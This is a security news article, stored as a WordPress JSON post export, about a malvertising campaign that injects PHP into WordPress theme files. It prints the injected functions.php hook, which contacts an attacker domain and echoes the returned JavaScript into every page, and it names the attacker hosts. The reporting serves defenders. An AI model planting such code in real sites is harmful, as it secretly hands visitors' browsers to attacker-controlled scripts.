{"id":7509,"date":"2025-10-08T10:03:33","date_gmt":"2025-10-08T10:03:33","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/10\/08\/hackers-weaponizing-wordpress-websites-by-injecting-malicious-php-codes-silently\/"},"modified":"2025-10-08T10:03:33","modified_gmt":"2025-10-08T10:03:33","slug":"hackers-weaponizing-wordpress-websites-by-injecting-malicious-php-codes-silently","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/10\/08\/hackers-weaponizing-wordpress-websites-by-injecting-malicious-php-codes-silently\/","title":{"rendered":"Hackers Weaponizing WordPress Websites by Injecting Malicious PHP Codes Silently"},"content":{"rendered":"<p>    Hackers Weaponizing WordPress Websites by Injecting Malicious PHP Codes Silently<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>WordPress websites have become a prime target for threat actors seeking to monetize traffic and compromise visitor security.<\/p>\n<p>In recent months, a new malvertising <a href=\"https:\/\/cybersecuritynews.com\/new-russian-disinformation-campaign\/\" target=\"_blank\" rel=\"noreferrer noopener\">campaign<\/a> has emerged, leveraging silent PHP code injections within theme files to serve unwanted third-party scripts.<\/p>\n<p>The attack blends seamlessly with legitimate site operations, delivering <a href=\"https:\/\/cybersecuritynews.com\/researchers-obfuscated-weaponized-net-assemblies\/\" target=\"_blank\" rel=\"noreferrer noopener\">obfuscated<\/a> JavaScript that redirects visitors, displays pop-ups, and evades security tools without raising suspicion.<\/p>\n<p>Initially discovered by a site owner noticing unexplained script loads, the intrusion originated from a small block of PHP code appended to the active theme\u2019s <code>functions.php<\/code> file.<\/p>\n<p>This injection did not alter visible page content, instead executing behind the scenes on every request.<\/p>\n<p>Sucuri analysts <a href=\"https:\/\/blog.sucuri.net\/2025\/10\/malvertising-campaign-hides-in-plain-sight-on-wordpress-websites.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> the campaign after detecting anomalous JavaScript calls to attacker-controlled domains and blocklisting by multiple security vendors.<\/p>\n<p>The attack primarily exploits weak file permissions and outdated themes. By gaining write access\u2014often through compromised credentials or vulnerable plugins\u2014hackers insert a seemingly benign function that contacts a command-and-control server.<\/p>\n<p>Once invoked via the <code>wp_head<\/code> hook, the function fetches a dynamic JavaScript payload and echoes it into the page\u2019s <code>&lt;head&gt;<\/code> section, ensuring execution before the rest of the page loads.<\/p>\n<p>Sucuri researchers noted that the injected function establishes a POST connection to a <a href=\"https:\/\/cybersecuritynews.com\/ivanti-endpoint-manager-rce-vulnerabilities\/\" target=\"_blank\" rel=\"noreferrer noopener\">remote endpoint<\/a> at hxxps:\/\/brazilc[.]com\/ads.php, retrieves the malicious script, and embeds it directly into the HTML document.<\/p>\n<p>The payload performs two main actions: loading a traffic-distribution script from <code>porsasystem.com\/6m9x.js<\/code> and injecting a hidden 1\u00d71 pixel iframe that mimics Cloudflare\u2019s challenge platform.<\/p>\n<p>These techniques enable forced redirects, pop-ups, and evasion of security scanners by disguising malicious activity as legitimate CDN operations.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-infection-mechanism\"><strong>Infection Mechanism<\/strong><\/h2>\n<p>The infection mechanism hinges on the following PHP function injected into <code>functions.php<\/code>:-<\/p>\n<pre class=\"wp-block-code\"><code>\/\/ Injected PHP function in functions.php\nfunction ti_custom_javascript() {\n    $response = wp_remote_post(\n        'https:\/\/brazilc.com\/ads.php',\n        array('timeout' =&gt; 15, 'body' =&gt; array('url' =&gt; home_url()))\n    );\n    if (!is_wp_error($response)) {\n        echo wp_remote_retrieve_body($response);\n    }\n}\nadd_action('wp_head', 'ti_custom_javascript');<\/code><\/pre>\n<p>Upon each page load, this function silently executes, contacting the C&amp;C server and printing the returned JavaScript payload into the page header.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgrKj7nw9Dwfj2_4YXGievJ5iDuQfRm7wFXYC4svOHtfKXLiH39_EYKBGJm0V-XDgPaRpV4fcbULkniHYDCDJFcOjJaRFswEbWeyvtfXCq01FRj85WzUrhPbYxQrDGFwv_2HaF-6UKGA-Z2iZS3Bg5fgO-JEmIc56aDvE3xqYFxcNvFqzIx4_LJDGzmKPA\/s16000\/Payload%2520%28Source%2520-%2520Sucuri%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Payload (Source \u2013 Sucuri)<\/figcaption><\/figure>\n<\/div>\n<p>The attacker\u2019s script then loads further malicious code asynchronously, leveraging attributes like <code>data-cfasync='false'<\/code> and <code>async<\/code> to bypass Cloudflare Rocket Loader.<\/p>\n<p>By embedding within a hidden iframe, the <a href=\"https:\/\/cybersecuritynews.com\/chatgpt-powered-malware-analysis\/\" target=\"_blank\" rel=\"noreferrer noopener\">malware<\/a> evades detection and resides persistently until the injected code is removed.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 92%,rgb(169,184,195) 100%)\"><strong>Follow us on\u00a0<a href=\"https:\/\/news.google.com\/publications\/CAAqMggKIixDQklTR3dnTWFoY0tGV041WW1WeWMyVmpkWEpwZEhsdVpYZHpMbU52YlNnQVAB?hl=en-IN&amp;gl=IN&amp;ceid=IN:en\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google News<\/a>,\u00a0<a href=\"https:\/\/www.linkedin.com\/company\/cybersecurity-news\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">LinkedIn<\/a>,\u00a0and\u00a0<a href=\"https:\/\/x.com\/cyber_press_org\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0<strong>Set CSN as a Preferred Source in\u00a0<a href=\"https:\/\/www.google.com\/preferences\/source?q=cybersecuritynews.com\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google<\/a>.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/hackers-weaponizing-wordpress-websites\/\">Hackers Weaponizing WordPress Websites by Injecting Malicious PHP Codes Silently<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/hackers-weaponizing-wordpress-websites\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hackers Weaponizing WordPress Websites by Injecting Malicious PHP Codes Silently WordPress websites have become a prime target for threat actors seeking to monetize traffic and compromise visitor security. In recent months, a new malvertising campaign has emerged, leveraging silent PHP code injections within theme files to serve unwanted third-party scripts. The attack blends seamlessly with [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-7509","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7509"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=7509"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7509\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=7509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=7509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=7509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}